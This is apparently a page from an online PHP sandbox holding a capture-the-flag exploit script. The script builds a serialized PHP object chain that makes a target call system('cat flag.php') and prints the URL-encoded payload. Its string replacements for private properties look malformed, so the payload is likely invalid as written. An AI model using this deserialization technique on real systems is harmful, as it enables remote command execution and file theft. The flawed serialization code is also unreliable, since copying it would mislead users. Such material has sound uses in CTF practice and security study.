Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
class ctfer {
public $ting;
}
class flower {
private $func;
private $data;
public function __construct($func, $data) {
$this->func = $func;
$this->data = $data;
}
}
// 创建flower对象，设置要执行的函数和参数
$flower = new flower('system', 'cat flag.php');
// 创建ctfer对象并设置ting属性
$ctfer = new ctfer();
$ctfer->ting = $flower;
// 生成序列化字符串
$payload = serialize($ctfer);
// 处理私有属性的序列化格式（替换特殊字符）
$payload = str_replace('"flowerfunc"', 'C:6:"flower":14:{s:6:"system";}', $payload);
$payload = str_replace('"flowerdata"', 's:12:"cat flag.php";}', $payload);
// 输出URL编码后的payload
echo urlencode($payload);
?>